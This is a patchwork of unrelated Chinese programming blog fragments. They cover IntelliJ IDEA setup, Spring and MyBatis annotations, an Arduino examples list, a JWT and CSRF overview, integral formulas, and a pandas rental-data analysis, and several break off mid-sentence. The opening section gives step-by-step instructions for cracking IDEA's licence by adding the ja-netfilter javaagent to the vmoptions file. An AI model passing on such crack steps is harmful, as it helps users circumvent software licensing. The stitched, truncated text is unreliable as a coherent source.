解决方法:删除新版配置文件多余的配置(PS:网上教程好多说配置文件在安装目录下,实际上新版的配置文件不是使用安装目录下的,其配置文件路径在:C:\Users\xxx\AppData\Roaming\JetBrains\IntelliJIdea2021.2\idea64.exe.vmoptions)
找到他并删除-javaagent:参数这行。
当然如果还不行的话就可能是vc++要重新安装等其他问题了。
vc++下载地址:https://aka.ms/vs/17/release/vc_redist.x64.exe
网上安装教程太多了,而且好多都是广告+收费。扒拉半天终于找到个可用的而且很简单。
原文链接:https://blog.csdn.net/qq_41973729/article/details/122353737
总结下来就是:
1.注册idea官方账号
2.下载文章的代理插件并解压到任意目录
3.修改idea配置(C:\Users\xxx\AppData\Roaming\JetBrains\IntelliJIdea2021.2\idea64.exe.vmoptions)中最后添加一行(-javaagent:D:\develop\soft\idea\ja-netfilter-v2.2.2\ja-netfilter.jar)指定到你的解压目录
4.重新打开新版idea,点击start trial 然后点 log in
5.在打开的链接中登录你注册的idea官方账号
至此idea安装完毕。
一、@RequestParam @RequestParam是SpringMVC中的一个常用注解,这个注解通常用在Controller层使用,标注在Controller层方法的参数上,用来解决前端与后端参数不一致的问题。@RequestParam将请求参数和控制器方法的形参创建映射关系。
@RequestParam注解一共有三个属性:
(1)value:指定为方法形参赋值的请求参数的参数名
(2)required:设置是否必须传输此请求参数,默认值为true
若设置为true时,则当前请求必须传输value所指定的请求参数,若没有传输该请求参数,且没有设置defaultValue属性,则页面报错400:Required String parameter 'xxx' is not present;
若设置为 false时,则当前请求不是必须传输value所指定的请求参数,若没有传输,则注解所标识的形参的值为 null
(3)defaultValue:为当前形参设置默认值,不管required属性值为true或false,当value所指定的请求参数没有传输或传输的值为 "" 时,则使用默认值为当前形参赋值 二、@Param @Param是Mybatis中的一个常用注解,该注解标注在dao接口中的方法参数上,用来简化xml配置的时候(比如Mybatis的Mapper.xml中的sql参数注入),@Param注解的作用是给参数命名,参数命名后就可以通过 #{xxx} 的形式注入sql语句中(xxx为@Param给参数设置的名称)。@Param注解是为了dao接口的方法参数和配置文件sql语句的参数保持变量名的一致性。
举例:
dao接口中的方法:
public User selectUser(@Param("userName") String name,@Param("password") String pwd); 映射到xml中的<select>标签:
<select id="selectUser" resultMap="User"> select * from user where user_name = #{userName} and user_password=#{password} </select>
Arduino 内置示例简介 内置例程(sketches) 独立的脚本和程序被称为 “sketches”,已经在Arduino IDE内置。
位于:文件 > 示例。
这些简单的程序示范了所有基本Arduino的命令。他们横跨所有的领域,从一个Sketch的绝对最小值到数字和模拟IO,再到传感器和显示器的使用。
1.基本原理 模拟读取串口:读取一个电位计,打印它的状态到Arduino串口监视器。最简框架:开始一段新程序的最简框架闪烁:不停打开关闭一个LED灯。数字读取串口:读取一个开关,打印它的状态到Arduino串口监视器。渐变:使用模拟输出口来使一个LED灯的亮度变淡。读取模拟电压:读取一个模拟输入,然后打印其电压值到串口监视器。 2.数字 不用delay的闪烁:不用delay()函数来闪烁一个LED灯按键:使用一个按键来控制一个LED灯防抖:读取一个按键,然后滤掉噪音数字输入上拉:用pinMode()来声明输出上拉侦察状态改变:计算按键按下的次数音调键盘:一个使用压力传感器和压电扬声器的三键音乐键盘音调旋律:用压力扬声器弹奏一个旋律多重音调:利用tone()命令使多个扬声器发出声音高音追随:根据一个模拟输入来决定压力扬声器的音调 3.模拟 模拟输入输出串口:读取一个模拟输入引脚,返回结果,然后用这个数据使LED灯变暗或者变亮模拟输入:使用一个电压计来控制LED灯的闪烁模拟写入Mega:使用Arduino Mega 开发板使12个LED灯一个接一个,逐渐变亮然后变暗校准:对于超出模拟传感器范围的数值,定义一个最大值和最小值渐变:用一个模拟输出引脚(PWM引脚)来使一个LED灯褪色。使光滑:使多个模拟引脚的读取值变得顺滑 4.通讯 ASCIITable(ASCII表格):使用Arduino的高等的串口输出函数。调光器:移动鼠标来改变LED灯的亮度图表:发送数据到电脑,然后在Processing里画出它的图表。Midi(乐器数字接口):连续发送MIDI音符信息多串口Mega:使能Arduino Mega上2个串口。物理像素:通过从Processing或者Max/MSP发送数据到Arduino上,使LED开关。读取ASCII字符串:分析整数里一个用逗号分隔的字符串,来使一个LED灯褪色。串口呼叫响应:通过一个呼-应的方法(握手)来发送多个变数串口呼叫响应ASCII:通过一个呼-应的方法(握手)来发送多个变数,并在发送前解码(ASCII)这些数值。Serial Event:使用SerialEvent()函数可视颜色混合器:从Arduino发送多个变数到你的电脑,然后在Processing或者Max/MSP上读取这些数据 5.控制结构 数组:一个在For循环的变量举例了怎样使用一个数组。For循环:通过for循环来控制多个LED灯If声明条件:使用一个‘if 声明’,通过改变输入条件来改变输出条件Switch Case:怎样在非连续的数值里选择。Switch Case 2:第二个switch-case的例子,展示怎样根据在串口收到的字符来采取不同的行为While 声明条件:当一个按键被读取,怎样用一个while循环来校准一个传感器。 6.传感器 ADXL3xx: 读取一个 ADXL3xx 加速计Knock: 通过一个压电元件来侦察敲击Memsic2125: 2轴加速计Ping: 通过一个超声波测距仪来侦察物品 7.显示 条形图:制作一个LED条形图行列扫描:控制一个8×8的LED矩阵 8.字符串 Character Analysis:使用operators来识别对应的特征类型。String Addition Operator:用不同方法把字符串加到一起。String Append Operator:用+=运算符和concat()方法来添加东西到字符串里。String Case Changes:改变字符串的状态。String Characters:在字符串里获得或设置一个指定的字符的值String Comparison Operators:按字母排列顺序地比较字符串String Constructors:初始化字符串对象String Index Of:寻找在字符串里字符的第一个或最后一个的状态String Length & String Length Trim:获得和修剪字符串的长度String Replace:替换字符串里的个别字符String Start With Ends With:检查一个给定的字符或子串(substrings)的开始或结尾StringSubstring:在给定的字符串里寻找"phrases"StringToInt:允许你把字符串转换成整数数字 9.USB 键盘注销:利用按键命令注销当前使用者键盘发消息:当一个按键被按下,发送一个文本字符串。键盘再编译:在Arduino IDE上打开一个新窗口,用简单的跑马灯程序重新编译Leonardo键盘串口:从串口里读取一个字节,然后返回一个键值。键盘鼠标控制:在一个程序里示范鼠标和键盘命令鼠标按键控制:通过5个按键控制光标行动鼠标摇杆控制:当按键被按下时,通过一个操纵杆来控制电脑光标的行动 10.初学者工具包 这些工具包例子的教程可在项目书里获得,包括在配套元件里获得。如果你购买一个基础工具包,你将可以进入在Project Ignite上的网上项目。
一、JWT简介 JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
使用方式:服务端根据规范生成一个令牌(token),并且发放给客户端(保存在客户端)。此时客户端请求服务端的时候就可以携带者令牌,以令牌来证明自己的身份信息。
作用:类似session保持登录状态的办法,通过token来代表用户身份。
Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用。Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWT可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改。 二、为什么使用JWT 1、传统的Session认证 我们知道,http协议本身是一种无状态的协议,这意味着用户提供用户名和密码进行用户认证后,下一次请求还需要进行认证。因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让应用能识别是哪一个用户发出的请求,我们只能在服务器存储一份用户登录信息,这份信息会在响应时传递给客户端,告诉其保存为cookie(传输的是JsessionId而不是用户信息,不然用户修改cookie内容后可以获得其他权限),以便下次请求时发送给我们的应用,这样我们就知道请求应用的是哪个用户了。这就是传统的Session认证。
暴露的问题:
每个用户经过我们的应用认证后,我们的应用都要在服务端做一次记录,以便下次用户请求时的鉴别。通常而言session是保存在内存中的,随着认证用户的增多,服务端的开销会明显增大。
用户认证之后,服务端做认证记录,如果认证的记录被保存在内存中的话, 以为这下次请求还必须在这台服务器上,才能拿到授权的资源。这样在分布式应用上,相应的限制了负载均衡器的能力。这也意味着限制了应用的扩展能力。
在前后端分离解耦后增加了部署的复杂性。通常用户一次请求要经过多次转发,如果使用session每次携带sessionId到服务器,服务器还要查询用户信息。同时如果用户很多,这些信息存储在服务器内存中,给服务器增加了负担。sessionId就是一个特征值,表达的信息不够丰富,不容易扩展。而且如果后端应用是多节点部署,就需要实现session共享机制,不方便集群应用。
因为是基于cookie来进行应用识别的,cookie如果被截获,用户就会很容易受到CSRF/XSRF(跨站请求伪造)
CSRF攻击的大致方式如下:某用户登录了A网站,认证信息保存在cookie中。当用户访问攻击者创建的B网站时,攻击者通过在B网站发送一个伪造的请求提交到A网站服务器上,让A网站服务器误以为请求来自于自己的网站,于是执行响应的操作,该用户的信息边遭到了篡改。总结起来就是,攻击者利用用户在浏览器中保存的认证信息,向对应的站点发送伪造请求。用户的认证是通过保存在cookie中的数据实现,在发送请求是,只要浏览器中保存了对应的cookie,服务器端就会认为用户已经处于登录状态,而攻击者正是利用了这一机制。
2、基于JWT认证 首先前端通过web表单将自己的用户名和密码发送给后端的接口。这个过程一般是是一个HTTP POST请求。建议的方式是通过SSL加密的传输(https协议),从而避免敏感信息被嗅探。
后端核对用户名和密码成功后,将用户的id等其他用户信息作为JWT Payload(负载),将其与头部分别进行Base64编码拼接后签名,形成一个JWT(token)。形成的JWT就是一个形同lll.zzz.xxx的字符串。Token:head.payload.signature
后端将JWT字符串作为登录成功的返回结果返回给前端,前端可以将返回结果保存在localStorage或sessionStorage上,退出登录时前端删除保存的JWT即可。
前端在每次请求时将JWT放入HTTP Header中的Authorization位。(解决XSS和XSRF问题)
后端检查是否存在,如存在验证JWT的有效性。例如检查签名是否正确,检查Token是否过期,检查Token的接收方是否为自己(可选)。
验证通过后后端使用JWT中包含的用户信息进行其他逻辑操作,返回相应结果。
3、JWT优势 简洁:可以通过URL、POST参数或者在HTTP Header发送,因为数据量小,传输速度也很快自包含:负载中包含了所有用户所需要的信息,避免了多次查询数据库因为Token是以JSON加密的形式保存在客户端的,所以JWT是跨语言的,原则上任何web形式都支持不需要在服务端保存会话信息,特别适合用于分布式微服务。更适合用于移动端:当客户端是非浏览器平台时,cookie是不被支持的,此时使用token认证方式会简单很多单点登录友好:由于cookie无法跨域,难以实现单点登录。但是,使用token进行认证的话, token可以被保存在客户端的任意位置的内存中,不一定是cookie,所以不依赖cookie,不会存在这些问题 三、JWT的结构 1、令牌组成 标头(Header)有效负荷(Payload)签名(Signature) 因此JWT通常为:xxxx.yyyy.zzzz,即Header.Payload.Signature
2、Header 标头通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法,例如HMAC、SHA256或RSA。它会使用Base64编码组成JWT结构的第一部分。
注意:Base64是一种编码,也就是说它是可以被翻译回原来的样子来的,它并不是一种加密过程
默认为:base64enc({“alg”:“HS256”,“typ”:“JWT”})
3、Payload 令牌的第二部分是有效负载,其中包含声明。声明是有关实体(通常是用户)和其他数据的声明。同样的,它会使用Base64编码组成JWT结构的第二部分
{ "sub":"123456789”, "name”:"John Doe", "admin":true } 4、Signature 前面两部分都是使用Base64进行编码的,即前端可以解开获取其中的内容。Signature需要使用编码后的header和payload以及我们提供的一个秘钥,然后使用header中指定的签名算法进行签名,签名的作用是保证JWT没有被篡改过
HMACSHA256(base64UrlEncode(header)+“.”+base64UrlEncode(payload),secret)
实际上是对头部信息和负载内容进行签名,防止内容被篡改,如果有人对头部以及负载内容解码后进行修改,再进行编码,最后加上之前的签名组合形成新的JWT的话,那么服务器端会判断出新的头部和负载形成的签名和JWT上附带的签名是不一样的。如果要对新的头部和负载进行签名,由于不知道服务器加密时使用的秘钥,得出来的结果也是不一样的。
信息安全问题
在JWT中不应该在负载中加入任何敏感的数据,用户ID被知道也是安全的,但是像密码这样的内容就不能放在JWT中了。
四、JWT实现 1、测试 public class JWTTest { public static void main(String[] args) { Calendar instance = Calendar.
在各类积分运算中,我们常见到这样一类函数,它们有貌离神合的计算方法——有理函数。
例如
∫ 1 x d x = ln ∣ x ∣ + C , x ≠ 0 \int \frac{1}{x}\mathrm{d}x=\ln|x|+C, \ \ x \ne 0 ∫x1dx=ln∣x∣+C, x=0
又如
∫ x n d x = x n + 1 n + 1 + C , n ≠ − 1 \int x^n\mathrm{d}x=\frac{x^{n+1}}{n+1}+C, \ \ n\ne -1 ∫xndx=n+1xn+1+C, n=−1
再如
∫ 1 1 + x 2 d x = arctan x + C \int \frac{1}{1+x^2}\mathrm{d}x=\arctan x+C ∫1+x21dx=arctanx+C
文章目录 租房数据分析一、 读取数据,并简单处理数据1.1 判断是否有重复值1.2 判断是否有缺失值 二、简单分析数据2.1 处理数据2.2 查看价格、面积的分布情况价格的分布情况面积的分布情况 2.3 区域、层数对价格的影响各个区域的价格分布情况各个层级的价格分布情况 三、分析数据间的相关性四、数据标准化五、总结 <br
租房数据分析 先导入相关的数据处理库 import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns import warnings warnings.filterwarnings('ignore') %matplotlib inline 一、 读取数据,并简单处理数据 df = pd.read_csv("租房信息.csv") df.head() 1.1 判断是否有重复值 len(df["标题"].unique()) == len(df) # 根据标题来判断是否有重复值 false df.drop_duplicates("标题",inplace=True) # 删除重复值 df.index = range(len(df)) # 删除之后,重排索引,为了之后拼接数据方便 print(len(df)) # 还有2244条数据 1.2 判断是否有缺失值 df.info() ''' <class 'pandas.core.frame.DataFrame'> RangeIndex: 2244 entries, 0 to 2243 Data columns (total 10 columns): # Column Non-Null Count Dtype --- ------ -------------- ----- 0 标题 2244 non-null object 1 价格 2244 non-null float64 2 小区名 2244 non-null object 3 城市 2244 non-null object 4 街道 2244 non-null object 5 室厅数 2244 non-null object 6 面积 2244 non-null object 7 层数 2244 non-null object 8 交接人 2244 non-null object 9 详情链接 2244 non-null object dtypes: float64(1), object(9) memory usage: 175.